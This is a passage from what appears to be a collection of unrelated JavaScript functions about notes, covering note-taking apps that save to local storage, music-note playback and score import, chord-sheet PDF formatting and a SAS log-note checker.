'tr', reorder.dragndrop.handleDrop)\n .on('dragend', 'tr', function () {\n var rows = notesPanel.find('tr');\n\n reorder.dragndrop.handleDragEnd(rows);\n\n _notes = [];\n\n rows.each(function () {\n var row = $(this);\n var id = row.find('td.id').html();\n var date = row.find('td.date .labelIcon').html();\n var note = row.find('td.note textarea').val();\n var noteMarkup = row.find('td.preview article').html();\n\n _notes.push({\n id: parseInt(id, 10),\n date: date,\n note: note,\n noteMarkup: noteMarkup\n });\n });\n\n storageSaveObj(localStorage, STORAGE_KEY, _notes);\n });\n\n noteIcon.on('click', togglePanel).appendTo('#main-toolbar .buttons');\n }", "addNote(note) {\n const {title,text}=note;\n if (!title || !text){\n throw new Error(\"Neither text or title can be blank for the note entered\");\n }\n const newNote={title,text,id:uniqid()};\n return this.getNotes()\n .then((notes)=>[...notes,newNote])\n .then((currentNotes)=>this.write(currentNotes))\n .then(()=>newNote);\n }", "function saveNote(){\r\n if($('.notes-list-container').children('.note-item').length > 0){\r\n let content = editor.getContents();\r\n editNoteContent(editorNotebook, editorNote, editor.getContents());\r\n $('.notes-list-container .note-item.selected .note-item-title h4').text((content.ops[0].insert.length > 18) ? content.ops[0].insert.substr(0, 18) + \"...\" : content.ops[0].insert);\r\n }\r\n }", "renderNotesSection() {\n\t\treturn <Notes\n\t\t\tcolor={colorsProvider.routinesMainColor}\n\t\t\tnotes={this.state.notes}\n\t\t\teditNotes={value => {\n\t\t\t\tthis.props.notes(value);\n\t\t\t}} />\n\t}", "function reformatChords(doc, songName, songArtist, songLyrics){\n // Reformat input with REGEX\n // var songLyrics =\"Cornerstone by Hillsong\\n\\n[Intro]\\n\\n[ch]C[\\/ch] [ch]Am[\\/ch] [ch]F[\\/ch] [ch]G[\\/ch]\\n\\n\\n[Verse 1]\\n\\n[ch]C[\\/ch]\\nMy hope is built on nothing less\\n[ch]F[\\/ch] [ch]G[\\/ch]\\nThan Jesus\\' blood and righteousness\\n[ch]Am[\\/ch]\"\n // remove song intro text\n // var songLyrics2 = songLyrics.replace(/\".+[\\s\\S].+.[\\s\\S].+.[\\s\\S].+.[\\s\\S]/gm, \"\");\n // remove Ð\n // var songLyrics3 = songLyrics2.replace(/\\n\\n\\n/gm, \"\\n\");\n // var songLyrics6 = songLyrics3.replace(/\\n\\n/gm, \"\\n\");\n // remove [ch] & [/ch]\n var songLyrics_v1 = songLyrics.replace(/\\[ch\\]/gm, \"\");\n var songLyrics_v2 = songLyrics_v1.replace(/\\[\\/ch\\]/gm, \"\");\n //remove Ð\n var songLyrics_regex_complete = songLyrics_v2.replace(/\\r\\n/gm, \"\\n\");\n // remove end of song \" mark\n // var songLyrics7 = songLyrics6.replace(/\"/gm, \"\");\n // remove riff tabs (if present)\n // var songLyrics9 = songLyrics7.replace(/.\\|-.*/gm, \"\");\n // remove extra spaces & blank lines\n // var songLyrics9 = songLyrics8.replace(/\\r?\\n\\s*\\n/gm, \"\\r\\n\");\n\n \n // split the text into an array by new line\n var songLyrics_SplitByNewline_Arr = songLyrics_regex_complete.split(/\\n/g);\n\n // Create pages\n doc.addPage({\n // this seems to only affect the first page inserted\n layout: 'portrait',\n margin: 20, \n });\n doc.font('Courier-Bold');\n doc.fontSize(13);\n doc.text(songName + \" - \" + songArtist, {\n columns: 2,\n });\n doc.moveDown();\n doc.fontSize(12);\n // loop through the array of input text and bold lines with chords & brackets \"[\"\n for (let i = 0; i < songLyrics_SplitByNewline_Arr.length; i++){\n // identifies all chords & lines with brackets \"[\" & makes them bold\n if (/\\b([CDEFGAB](?:b|bb)*(?:#|##|sus|maj|min|aug|m|add)*[\\d\\/]*(?:[CDEFGAB](?:b|bb)*(?:#|##|sus|maj|min|aug|m|add)*[\\d\\/]*)*)(?=\\s|$)(?!\\w)|\\[/gm.test(songLyrics_SplitByNewline_Arr[i])) {\n doc.font('Courier-Bold');\n doc.text(songLyrics_SplitByNewline_Arr[i], {\n columns: 1,\n });\n // leaves lyric text not bold\n } else {\n doc.font('Courier');\n doc.text(songLyrics_SplitByNewline_Arr[i], {\n columns: 1,\n });\n };\n };\n \n // ===== end of reformatChords function =====\n // ==========================================\n}", "function addNotesToPage() {\n // for each data_point in this team's notes_data\n for (let data_point_index in notes_data[selected_team]) {\n // data_point is new notes to add\n let data_point = notes_data[selected_team][data_point_index];\n // adds a new line\n $(\"#notes-\" + selected_team + \"-\" + data_point[1]).prepend('<h4>Stand app:</h4>').append(\"<br><hr><h4>Notes app:</h4>\" + data_point[0]);\n }\n}", "function NoteCheck(textline) {\r\n\t\tvar foundText = false;\r\n\t\tif (/^NOTE|^INFO/.test(textline)) {\r\n\t\t\tif ( \r\n\t\t\t\t(/invalid/i.test(textline)) ||\r\n\t\t\t\t(/has been truncated/i.test(textline)) ||\r\n\t\t\t\t(/never been refere/i.test(textline)) ||\r\n\t\t\t\t(/division by zero/i.test(textline)) ||\r\n\t\t\t\t(/is not in the report def/i.test(textline)) ||\r\n\t\t\t\t(/not resolved/i.test(textline)) ||\r\n\t\t\t\t(/uninitialized/i.test(textline)) ||\r\n\t\t\t\t(/mathematical operations could not/i.test(textline)) ||\r\n\t\t\t\t(/extraneous information/i.test(textline)) ||\r\n\t\t\t\t(/defaulted/i.test(textline)) ||\r\n\t\t\t\t(/will be overwritten/i.test(textline)) ||\r\n\t\t\t\t(/The quoted string currently being processed/i.test(textline)) ||\r\n\t\t\t\t(/not referenced/i.test(textline)) ||\r\n\t\t\t\t(/were 0 observations read/i.test(textline)) ||\r\n\t\t\t\t(/repeats of by values/i.test(textline)) ||\r\n\t\t\t\t(/current word or quoted string has become more/i.test(textline)) ||\r\n\t\t\t\t(/outside the axis range/i.test(textline)) ||\r\n\t\t\t\t(/is unknown/i.test(textline)) ||\r\n\t\t\t\t(/was not found, but appears on a delete/i.test(textline)) ||\r\n\t\t\t\t(/outside the axis range/i.test(textline)) ||\r\n\t\t\t\t(/cartesian/i.test(textline)) ||\r\n\t\t\t\t(/closing/i.test(textline)) ||\r\n\t\t\t\t(/w.d format/i.test(textline)) ||\r\n\t\t\t\t(/cannot be determined/i.test(textline)) ||\r\n\t\t\t\t(/could not be loaded/i.test(textline)) ||\r\n\t\t\t\t(/matrix is not positive definite/i.test(textline)) ||\r\n\t\t\t\t(/could not be written because it has the same name/i.test(textline)) ||\r\n\t\t\t\t(/meaning of an identifier after a quoted string/i.test(textline)) ||\r\n\t\t\t\t(/this may cause NOTE: No observations in data set/i.test(textline)) ||\r\n\t\t\t\t(/variable will not be included on any output data set/i.test(textline)) ||\r\n\t\t\t\t(/a number has become too large at/i.test(textline)) ||\r\n\t\t\t\t(/box contents truncated/i.test(textline)) ||\r\n\t\t\t\t(/exists on an input data set/i.test(textline)) ||\r\n\t\t\t\t(/is not in the report def/i.test(textline)) ||\r\n\t\t\t\t(/is unknown/i.test(textline)) ||\r\n\t\t\t\t(/lost card/i.test(textline)) ||\r\n\t\t\t\t(/unable to find the/i.test(textline)) ||\r\n\t\t\t\t(/have been converted to/i.test(textline)) ||\r\n\t\t\t\t(/sas went to a new line when/i.test(textline))\t\t\t\r\n\t\t\t) foundText = true;\r\n\t\t}\r\n\t\treturn(foundText);\r\n\t}", "render() {\n this.saveNotes()\n this.displayNotes()\n }", "function note_save()\n {\n var note_obj;\n // grab the note typed into the input box\n var new_note = $(\".bootbox-body textarea\").val().trim();\n\n if (new_note)\n {\n note_obj =\n {\n _id: $(this).data(\"headline\")._id,\n text: new_note\n };\n $.post(\"/api/notes\", note_obj).then(function()\n {\n // on success, close the modal\n bootbox.hideAll();\n });\n }\n }", "function createNote() {\n //object that wraps each note and its delete link\n var $note_div = $(\"<div/>\")\n //object for wrapper html for note\n var $note = $(\"<p>\");\n //define input field\n var $note_text = $(\".note-input input\");\n\n //conditional check for input field\n if ($note_text.val() !== \"\") {\n //select the delete-all button\n var $deleteAllButton = $(\"#delete-all\")\n //create a delete link for each added note\n var $delLink = $('<a>delete</a>').attr({ \n href: \"#\",\n class: \"del-link\"\n });\n //adds a click listener to the delete link\n $delLink.on(\"click\", function () {\n deleteNote(this); \n });\n\n //set content for note\n $note.html($note_text.val());\n //append note and delete link to note_div\n $note_div.append($note);\n $note_div.append($delLink);\n //hide new note_div to setup fadeIn...\n $note_div.hide();\n //append note_div to note-output\n $(\".note-output\").append($note_div);\n\n //fadeIn hidden new note_div and conditionally \n // the deleteAllButton\n if ($deleteAllButton.is(\":hidden\"))\n $deleteAllButton.fadeIn(\"slow\");\n $note_div.fadeIn(\"slow\");\n $note_text.val(\"\");\n }\n }", "function reformatChords(doc, songName, songArtist, songLyrics) {\n // Reformat input with REGEX\n // var songLyrics =\"Cornerstone by Hillsong\\n\\n[Intro]\\n\\n[ch]C[\\/ch] [ch]Am[\\/ch] [ch]F[\\/ch] [ch]G[\\/ch]\\n\\n\\n[Verse 1]\\n\\n[ch]C[\\/ch]\\nMy hope is built on nothing less\\n[ch]F[\\/ch] [ch]G[\\/ch]\\nThan Jesus\\' blood and righteousness\\n[ch]Am[\\/ch]\"\n // remove song intro text\n // var songLyrics2 = songLyrics.replace(/\".+[\\s\\S].+.[\\s\\S].+.[\\s\\S].+.[\\s\\S]/gm, \"\");\n // remove Ð\n // var songLyrics3 = songLyrics2.replace(/\\n\\n\\n/gm, \"\\n\");\n // var songLyrics6 = songLyrics3.replace(/\\n\\n/gm, \"\\n\");\n // remove [ch] & [/ch]\n var songLyrics_v1 = songLyrics.replace(/\\[ch\\]/gm, \"\");\n var songLyrics_v2 = songLyrics_v1.replace(/\\[\\/ch\\]/gm, \"\");\n //remove Ð\n var songLyrics_regex_complete = songLyrics_v2.replace(/\\r\\n/gm, \"\\n\");\n // remove end of song \" mark\n // var songLyrics7 = songLyrics6.replace(/\"/gm, \"\");\n // remove riff tabs (if present)\n // var songLyrics9 = songLyrics7.replace(/.\\|-.*/gm, \"\");\n // remove extra spaces & blank lines\n // var songLyrics9 = songLyrics8.replace(/\\r?\\n\\s*\\n/gm, \"\\r\\n\");\n\n\n // split the text into an array by new line\n var songLyrics_SplitByNewline_Arr = songLyrics_regex_complete.split(/\\n/g);\n\n // Create pages\n doc.addPage({\n // this seems to only affect the first page inserted\n layout: 'portrait',\n margin: 20\n });\n doc.font('Courier-Bold');\n doc.fontSize(13);\n doc.text(songName + \" - \" + songArtist, {\n columns: 2\n });\n doc.moveDown();\n doc.fontSize(12);\n // loop through the array of input text and bold lines with chords & brackets \"[\"\n for (var i = 0; i < songLyrics_SplitByNewline_Arr.length; i++) {\n // identifies all chords & lines with brackets \"[\" & makes them bold\n if (/\\b([CDEFGAB](?:b|bb)*(?:#|##|sus|maj|min|aug|m|add)*[\\d\\/]*(?:[CDEFGAB](?:b|bb)*(?:#|##|sus|maj|min|aug|m|add)*[\\d\\/]*)*)(?=\\s|$)(?!\\w)|\\[/gm.test(songLyrics_SplitByNewline_Arr[i])) {\n doc.font('Courier-Bold');\n doc.text(songLyrics_SplitByNewline_Arr[i], {\n columns: 1\n });\n // leaves lyric text not bold\n } else {\n doc.font('Courier');\n doc.text(songLyrics_SplitByNewline_Arr[i], {\n columns: 1\n });\n };\n };\n\n // ===== end of reformatChords function =====\n // ==========================================\n}", "function showNote(notes, str) {\n\t// in case few notes shares same title\n\tlet result = '';\n\t// parsing\n\tlet arr = str.split('note ');\n\tlet title = arr[1];\n\t// checking format\n\tif(!title) {\n\t\treturn \"Usage: Show note _title_\";\n\t}\n\tnotes.map(note=>{\n\t\tif(title===note.title) {\n\t\t\tresult += `Title: ${note.title} Body: ${note.body}\\n`\n\t\t};\n\t});\n\tif(!result) {\n\t\treturn \"Matching notes not found.\";\n\t}\n\treturn result;\n}", "function loadNotes(worker, taskId) {\n if (taskId) {\n var notes = datastore.readTaskNotes(taskId);\n worker.port.emit(\"NotesLoaded\", notes);\n }\n}", "function displayNotes(notes) {\n\tvar el = document.getElementById('notes-played');\n\tel.innerHTML = notes; \n}", "function postImport(score) {\r\n \r\n // Shift the note by the key signature and set the MIDI value\r\n function finalizeNote() {\r\n if (mel.type === \"melody\" || mel.type === \"gracenote\") {\r\n var note = mel.staffPosition.substring(0,1); // Staff position never has sharps or flats.\r\n var midiOffset = +mel.staffPosition.substring(1);\r\n if (lastKeySig && lastKeySig.data && lastKeySig.data.key && lastKeySig.data.key[note]) {\r\n note += lastKeySig.data.key[note]\r\n }\r\n mel.midiName = HD_TO_MIDINAME_XLATE[note + midiOffset];\r\n mel.midiNote = MIDINAME_TO_MIDI_NOTE[mel.midiName];\r\n mel.shortNoteName = note;\r\n }\r\n }\r\n \r\n \r\n function gatherKeySig() {\r\n // This routine is used to figure out the time sig after a BWW import.\r\n // Any sharps or flats that appear directly after the clef determines\r\n // the key sig.\r\n var ii;\r\n var mel;\r\n \r\n var note;\r\n var modes = {\r\n sharp: \"#\",\r\n flat: \"b\",\r\n natural: \"-\"\r\n };\r\n \r\n var data = {};\r\n \r\n var keyMel;\r\n \r\n for (ii = i+1; i < l; ii++) {\r\n mel = score.data[ii];\r\n note = undefined;\r\n \r\n if (mel.type === \"beat\") {continue;} // Skip any stray beat marks\r\n if (mel.type === \"keysig\") {\r\n keyMel = mel;\r\n continue;\r\n }\r\n \r\n if (modes[mel.name]) {\r\n if (typeof data.type === \"undefined\") {\r\n data.keyType = mel.name;\r\n data.count = 0;\r\n data.key = {}; \r\n } else {\r\n if (data.keyType !== mel.name) {\r\n alert(\"A key signature can contain sharps or flats but not both.\");\r\n }\r\n }\r\n score.data[ii] = score.createNullElement(); // Remove from the score\r\n \r\n data.count++;\r\n note = mel.staffNote.split('')[0];\r\n data.key[note] = modes[mel.name];\r\n continue;\r\n }\r\n \r\n if (keyMel) {\r\n keyMel.data = data;\r\n lastKeySig = keyMel;\r\n }\r\n // Nothing left to catch\r\n break;\r\n }\r\n }\r\n \r\n \r\n var i, l, mel;\r\n var beatUnit;\r\n var beatsPerBar;\r\n \r\n var volta = undefined;\r\n var tupletMelodyMels = undefined; // Save off the tuplets and recalculate them at the end.\r\n var tupletLength = 0;\r\n var measureLength = 0;\r\n var lineLength = 0;\r\n var measureCount = 1; // People like 1-based, not zero based.\r\n var lastNewBar; \r\n var maxMeasuresInLine\r\n var lineMeasureNumber = 0;\r\n var staffLine = 1;\r\n var lastKeySig;\r\n \r\n for (i = 0, l = score.data.length; i < l; i++) {\r\n mel = score.data[i];\r\n if (!mel) {continue;}\r\n if (!mel.type) {continue;}\r\n \r\n if (mel.name === \"treble-clef\") {\r\n gatherKeySig();\r\n if (!lastKeySig.data.key) {\r\n lastKeySig.data = {\r\n keyType:\"sharp\", count:1, key:{f:\"#\", c:\"#\"},\r\n // The note values have already been adjusted to play properly when\r\n // the key sig is not given. This makes an \"incorrect\" BWW file,\r\n // but they do exist.\r\n ignoreIfUsingBwwNoteValues: true \r\n };\r\n } \r\n }\r\n \r\n if (mel.type === \"timesig\") {\r\n beatUnit = mel.beatUnit; \r\n beatsPerBar = mel.beatsPerBar;\r\n }\r\n \r\n if (mel.type === \"phrasegroup\" && mel.collectionName === \"voltas\") {\r\n if (mel.sectionStart) { volta = mel; }\r\n if (mel.sectionEnd) { volta = undefined; }\r\n }\r\n \r\n if (mel.type === \"phrasegroup\" && mel.collectionName === \"triplets\") {\r\n if (mel.sectionStart) {\r\n tupletMelodyMels = [];\r\n tupletLength = 0;\r\n }\r\n if (mel.sectionEnd) {\r\n // FIXME: This needs to calculate the /adjusted/ length of tuplets.\r\n tupletMelodyMels = undefined;\r\n \r\n }\r\n }\r\n \r\n if (mel.type === \"staffControl\") {\r\n if (mel.newBar) {\r\n if (measureLength && lastNewBar) { \r\n lastNewBar.measureNumber = measureCount;\r\n lastNewBar.str = [staffLine, lineMeasureNumber].join(\":\"); \r\n lastNewBar.beatsPerBar = beatsPerBar;\r\n lastNewBar.measureLength = measureLength;\r\n if (measureLength !== beatsPerBar) {\r\n if (lineMeasureNumber === 0) {\r\n lastNewBar.isLeadIn = true;\r\n } else {\r\n lastNewBar.isLeadOut = true;\r\n }\r\n }\r\n lineMeasureNumber++;\r\n measureCount++;\r\n }\r\n //mel.measureNumber = measureLength // DEBUG;\r\n mel.measureLength = measureLength;\r\n measureLength = 0;\r\n lastNewBar = mel;\r\n }\r\n \r\n if (mel.staffEnd) {\r\n maxMeasuresInLine = Math.max(maxMeasuresInLine, lineMeasureNumber);\r\n staffLine++;\r\n mel.lineLength = lineLength;\r\n lineMeasureNumber = 0;\r\n lineLength = 0;\r\n }\r\n }\r\n \r\n // Calculate proper lengths\r\n if (mel.type === \"melody\") {\r\n mel.beatFraction = beatUnit/mel.duration; \r\n \r\n //TODO: Handle hold-cut note lengths properly.\r\n \r\n if (mel.dotType === \"dot\") { mel.beatFraction *= 1.5; }\r\n if (mel.dotType === \"doubledot\") { mel.beatFraction *= 1.75; }\r\n measureLength += mel.beatFraction;\r\n lineLength += mel.beatFraction;\r\n \r\n if (tupletMelodyMels) { tupletLength += mel.beatFraction; }\r\n if (volta) { mel.repeatOnPasses = volta.repeatOnPasses;}\r\n }\r\n \r\n finalizeNote(); \r\n //lastKeySig\r\n \r\n }\r\n}", "function findRelatedNotes(thisNote) {\n //console.log('findRelatedNotes has been called');\n if (myNotes.length > 0) {\n //console.log('case 1');\n var flag = false; //initialise flag / flag state reset\n // loop through exsisting notes. If note title exsists, then append note.\n for (var i = 0; i < myNotes.length; i++) {\n //console.log('loop started');\n if (myNotes[i].title == thisNote.title) {\n flag = true; //prevent note from being pushed as a new entry\n //console.log('found match');\n //console.log('appending to note');\n var currentNoteVal = myNotes[i].note;\n var newNoteVal = currentNoteVal + '<br/><br/>' + dateString + ' | ' + thisNote.note;\n //console.log(newNoteVal);\n myNotes[i].note = newNoteVal;\n Cookies.set('storedNotes', myNotes);\n //myNotes = Cookies.getJSON('storedNotes');\n //console.log('Saved');\n confirmation.placeholder = 'The note for this subject has been updated';\n note.value = '';\n }\n }\n if (flag === false) {\n pushNote(thisNote);\n }\n } else if (myNotes.length === 0) {\n //console.log('case 2');\n pushNote(thisNote);\n }\n}", "makeSynthPart(notesArr) {\n let pattern = new Tone.Part((time, note) => {\n this.tone.triggerAttackRelease(note.val, note.dur, time, note.vel)\n\n //this.setState({ millSec: time })\n\n // Tone.Draw.schedule(() => {\n // this.state.text.split('').map(element => {\n // //console.log(element)\n\n // })\n\n // }, time)\n\n }, notesArr).start()\n}", "setNotes (notes) {\n this.log('notes', 'setNotes', notes)\n this.notes = notes\n this.setNoteElements()\n }", "function L(...args) { if (NoteHead.DEBUG) Vex.L('Vex.Flow.NoteHead', args); }", "function createNewNote(event) {\n event.preventDefault()\n // console.log(event.target.title.value, event.target.content.value)\n const newNoteObj = {}\n newNoteObj.color_id = event.target.color_id.value\n newNoteObj.title = event.target.title.value\n newNoteObj.content = event.target.content.value\n // console.log(newNoteObj) // newNoteObj structure is working: {title: \"meh\", content: \"mehmeh\"}\n postNewNote(newNoteObj) // invoking our postNewNote function here\n renderNoteOnColorShowPage(newNoteObj) // recycling this function (finally, learning to recycle!) Mother Earth you fucking owe me. It works!\n // question for later: wtf happened to those pink notes I created before I added this render? Oh lol I mislabeled it white nvm\n}", "function createNote(number_of_note, notesArray, tagsArray) {\n for(var i = 0; i < number_of_note; i++) {\n $(\".notes\").append(\"<div class='note'><div class='notetext'>\" + notesArray[i] + \"</div><div class='notetag'>#\" + tagsArray[i] + \"</div><div class='notecontrol'><div class='highlight'>Highlight</div><div class='addtocanvas'>Add to Canvas</div><div class='deletenote'>Delete</div></div></div>\");\n }\n}", "getNote (sounds, instrument, bodyParam){\n var note = [];\n if (instrument.mode == instrumentModeList.random ){\n note.push(sounds.notes[Math.floor(Math.random()*sounds.notes.length)]);\n return note;\n } else {\n switch (instrument.name){\n case instrumentChannelName.body:\n note = this.generateCenterBodyNote(sounds, instrument, bodyParam);\n return note;\n break;\n case instrumentChannelName.hands:\n //As soon as you have the array of notes generate also the one for the hands\n note = this.generateWristeNote(sounds, instrument, bodyParam);\n return note;\n break;\n case instrumentChannelName.feet:\n note = this.generateFeetNote(sounds, instrument, bodyParam);\n return note;\n break;\n }\n }\n }", "function drawNotes(){\n \t if(startTime != null){\n \t noFill();\n \t for(let i = 0; i < notes.length; i++){\n \t drawNote(notes[i], i);\n \t }\n \t fill(255);\n }\n}", "function changeNote(event){\n let el = event.target;\n let id=el.parentNode.id;\n let elInData=data.find(function(element){return element.id==id;});\n\n if(el.classList.contains(\"markBut\")) { \n elInData.isMark=!elInData.isMark;\n }\n else if(el.classList.contains(\"delBut\")) {\n position =data.indexOf(elInData);\n if ( ~position ) data.splice(position, 1);\n }\n else if(el.classList.contains(\"textChangeNote\")){\n return;\n }\n else if(el.classList.contains(\"penBut\")) {\n \n if( noteChanging==null)\n { \n let noteTextEl=el.parentNode.querySelector('.noteText');\n let textarea=document.createElement('textarea');\n textarea.className=\"form-control textChangeNote\";\n textarea.value=noteTextEl.innerHTML;\n noteTextEl.innerHTML=null;\n noteTextEl.appendChild(textarea);\n noteChanging=noteTextEl;\n \n el.classList.remove('btn-danger');\n el.classList.add('btn-success'); \n return;\n }\n else{\n \n elInData.text=noteChanging.querySelector('.textChangeNote').value;\n el.classList.remove('btn-success');\n el.classList.add('btn-danger');\n noteChanging=null;\n }\n\n }\n\n localStorage.setItem('arrNotes',JSON.stringify(data));\n refresh();\n}", "function displayNote(noteDataObj) {\r\n\r\n\tvar notes_c = document.getElementById(\"notes-container\"); // the notes container\t\r\n\t\r\n\tvar note_div = document.createElement(\"div\"); // create a new div element, of a single note\r\n\r\n\tnotes_c.appendChild(note_div); // apply note div on the notes container\r\n\t\r\n\tnote_div.className = \"note\"; // adding class of css properties to note div\r\n\tnote_div.id = noteDataObj.id; // adding identification for the note div\r\n\t\r\n\t/* image originally taken from: */ // nt_img.src = \"http://www.clker.com/cliparts/d/R/v/M/J/N/posted-not-with-pin-th.png\";\r\n\tnote_div.style.backgroundImage = \"url('http://www.clker.com/cliparts/d/R/v/M/J/N/posted-not-with-pin-th.png')\";\r\n\tnote_div.style.backgroundSize = \"cover\";\r\n\tnote_div.classList.add(\"fade-in\"); // by applying this class the note will be added with fade-in css3 effect properties\r\n\t\t\r\n\tvar icon = document.createElement(\"span\"); // creating bootstrap's glyphicon remove span element\r\n\ticon.className = \"glyphicon glyphicon-remove\";\r\n\ticon.classList.add(\"delete-note-icon\");\r\n\ticon.classList.add(\"hidden\"); // hidden class by default\r\n\t\r\n\tnote_div.addEventListener(\"mouseover\", function() { // change properties upon mouseover event on note\r\n\t\ticon.classList.remove(\"hidden\");\r\n\t\ticon.classList.add(\"visible\");\r\n\t\ticon.style.cursor = \"pointer\";\r\n\t});\r\n\t\r\n\tnote_div.addEventListener(\"mouseout\", function() { // change properties upon mouseout event on note\r\n\t\ticon.classList.remove(\"visible\");\r\n\t\ticon.classList.add(\"hidden\");\r\n\t\ticon.style.cursor = \"default\";\r\n\t});\r\n\t\r\n\tnote_div.appendChild(icon); // apply icon on note div\r\n\r\n\tvar txt_area = document.createElement(\"textarea\"); // create textarea element for note textual content (task)\r\n\ttxt_area.innerHTML = noteDataObj.txt; // get text property from note object into the textarea element\r\n\ttxt_area.className = \"note-txtarea fade-in\";\r\n\ttxt_area.readOnly = \"true\";\r\n\ttxt_area.rows = 7;\t\r\n\tnote_div.appendChild(txt_area); // apply textarea on note div\r\n\t\r\n\tvar timestamp_str = document.createElement(\"p\"); // create p element for date and time\r\n\ttimestamp_str.className = \"timestamp\";\r\n\ttimestamp_str.classList.add(\"fade-in\");\r\n\t\r\n\t// call function to reformat date to the requested DD/MM/YYYY format (date property of note object is a parameter to the function)\r\n\tvar formatted_date = reformatDate(noteDataObj.date);\r\n\ttimestamp_str.innerHTML = formatted_date + \"<br/>\" + noteDataObj.time;\r\n\t\r\n\tnote_div.appendChild(timestamp_str); // apply timestamp (date+time) on note div\r\n\t\r\n\ticon.addEventListener(\"click\", function() {\r\n\t\t// upon clicking on the glyphicon a comparison is being made between the note to be removed (has its glyphicon clicked) \r\n\t\t// to each of the notes elements exist in the notes array, till it's being found. the comparison is between id-s \r\n\t\t// represented by timestamp saved upon note creation. once a match is found, that note element will be removed from the \r\n\t\t// notes array. then, the corresponding note div element will also be removed, from the notes container. finally, the \r\n\t\t// local storage will be updated as well\t\t\t\t\r\n\t\t\t\t\t\t\t\t\t\tvar idOfNoteToBeRemoved = note_div.id;\r\n\t\t\t\t\t\t\t\t\t\tvar found = false;\r\n\t\t\t\t\t\t\t\t\t\tfor (var k=0; k < notesObj.notes.length && !found; k++) {\r\n\t\t\t\t\t\t\t\t\t\t\tvar curr_note_id = notesObj.notes[k].id;\r\n\t\t\t\t\t\t\t\t\t\t\tconsole.log(\"*** current checked: \" + curr_note_id + \" ***\");\r\n\t\t\t\t\t\t\t\t\t\t\tconsole.log(\"*** looking for: \" + idOfNoteToBeRemoved + \" ***\");\r\n\t\t\t\t\t\t\t\t\t\t\tif (curr_note_id === idOfNoteToBeRemoved) {\r\n\t\t\t\t\t\t\t\t\t\t\t\tconsole.log(\"*** found it! ***\");\r\n\t\t\t\t\t\t\t\t\t\t\t\tnotesObj.notes.splice(k,1); // once found, remove the \"k\"-th note from the array\r\n\t\t\t\t\t\t\t\t\t\t\t\tfound = true; // stop looking for it, found already\r\n\t\t\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t\t\tdocument.getElementById(\"notes-container\").removeChild(note_div);\r\n\t\t\t\t\t\t\t\t\t\t// remove the corresponding note div element from the notes container\r\n\t\t\t\t\t\t\t\t\t\tconsole.log(\"*** removed note! ***\");\r\n\t\t\t\t\t\t\t\t\t\tlocalStorage.setItem(\"notes\", JSON.stringify(notesObj)); // save updated json to local storage\r\n\t\t\t\t\t\t\t\t\t\tconsole.log(\"*** updated local storage! ***\");\r\n\t\t\t\t\t\t\t\t\t});\r\n\t\t\t\t\t\r\n}", "function addNote() {\n if (noteText.value === \"\") {\n return;\n } else {\n notesCounter++; // increamenting notes count\n var note = {\n noteId: notesCounter,\n noteText: noteText.value,\n noteHead: noteHead.value,\n colorBg: noteDiv.style.background || \"rgb(255, 255, 255)\",\n tags: [],\n noteFavorite: false,\n noteFavoritePos: null,\n };\n notes.unshift(note);\n noteDiv.style.background = \"#ffffff\";\n renderNote(note);\n updateDB();\n clearInputs();\n noteHead.style.display = \"none\";\n noteBot.style.display = \"none\";\n }\n}", "function writeNotes(notes) {\n const notesDiv = document.querySelector('#notes');\n // clear the div\n notesDiv.innerHTML = '';\n // add all items as Ps to the div\n notes.forEach(function(note) {\n const newItem = document.createElement('p');\n const span1 = document.createElement('span');\n const newButton = document.createElement('button');\n span1.textContent = note.body;\n newButton.textContent = \"x\";\n newButton.addEventListener('click', function() {\n removeNote(note.id);\n localStorage.setItem( 'notes', JSON.stringify(notes) );\n writeNotes(notes);\n });\n // construct the p and append it\n newItem.appendChild(newButton);\n newItem.appendChild(span1);\n notesDiv.appendChild(newItem);\n });\n}", "function appendNotes(notes, append=true){\r\n $.each(notes, function(){\r\n var li = $(\"#note-item-templete\").clone().attr(\"id\",\"li-\"+this._id).show();\r\n append ? li.appendTo(\"#notelist\") : li.prependTo(\"#notelist\");\r\n var content = this.noteContent;\r\n if (this.growth){\r\n if (this.growth.height)\r\n content += \"</br>\" + \"Hight: \" + this.growth.height;\r\n if (this.growth.weight)\r\n content += \", \" + \"Weight: \" + this.growth.weight;\r\n if (this.growth.growthDate)\r\n content += \", \" + \"Date: \" + this.growth.growthDate;\r\n }\r\n li.find(\"p\").html(content);\r\n if(this.img){\r\n li.find(\".note-img\").attr(\"src\", \"/note/\"+this._id+\"/img\").attr(\"height\", \"300\").attr(\"width\",\"400\");\r\n }\r\n li.find(\".time span\").html(this.insertAt);\r\n li.find(\"a.js-action-del\").attr(\"rel\", this._id).attr(\"href\", \"#\");\r\n\r\n noteCount += 1;\r\n $(\"span#noteCount\").html(noteCount);\r\n });\r\n}", "onSaveNotes(notes, word, ayah) {\n if (word === undefined) {\n this.setState({ notes });\n } else {\n this.onSelectAyah(ayah, word, { notes });\n }\n }", "function paragraphReader_keypress(evt)\r\n{\r\n\r\n\tif (evt.charCode == 110) { // n\r\n\t paragraphReader.currentLink = -1;\r\n if (paragraphReader.currentPara < paragraphReader.maxParas - 1) {\r\n paragraphReader.currentPara++;\r\n paragraphReader.readParagraphNumber(paragraphReader.currentPara);\r\n } else if (paragraphReader.currentPara == paragraphReader.maxParas - 1) {\r\n paragraphReader.currentPara = 0;\r\n paragraphReader.readParagraphNumber(paragraphReader.currentPara);\r\n }\r\n\r\n } else if (evt.charCode == 112) { // p\r\n\t paragraphReader.currentLink = -1;\r\n if (paragraphReader.currentPara > 0) {\r\n paragraphReader.currentPara--;\r\n paragraphReader.readParagraphNumber(paragraphReader.currentPara);\r\n } else if (paragraphReader.currentPara == 0) {\r\n paragraphReader.currentPara = paragraphReader.maxParas - 1;\r\n paragraphReader.readParagraphNumber(paragraphReader.currentPara);\r\n }\r\n\r\n } else if (evt.charCode == 114) { //r\r\n\t paragraphReader.countLinksAndCitations();\r\n\r\n\t} else if (evt.charCode == 116) { // t\r\n\t paragraphReader.traverseLinks();\r\n\r\n\t} else if(evt.charCode==103) { //g key\r\n\t paragraphReader.currentLink = -1;\r\n if(document.getElementById('toc')) {\r\n\t\taxsWiki.resultIndex++;\r\n\t \taxsWiki.currentLink = axsWiki.nodeArray[axsWiki.resultIndex].href;\r\n\t \taxsWiki.axsObj.goTo(axsWiki.nodeArray[axsWiki.resultIndex])\r\n\t \taxsWiki.currentState=READING_TOC;\r\n\t }\r\n\t} else if(evt.keyCode==13) {\t//Enter Key\r\n\t if (paragraphReader.currentLink != -1) {\r\n\t\tparagraphReader.goToCurrentLink(); 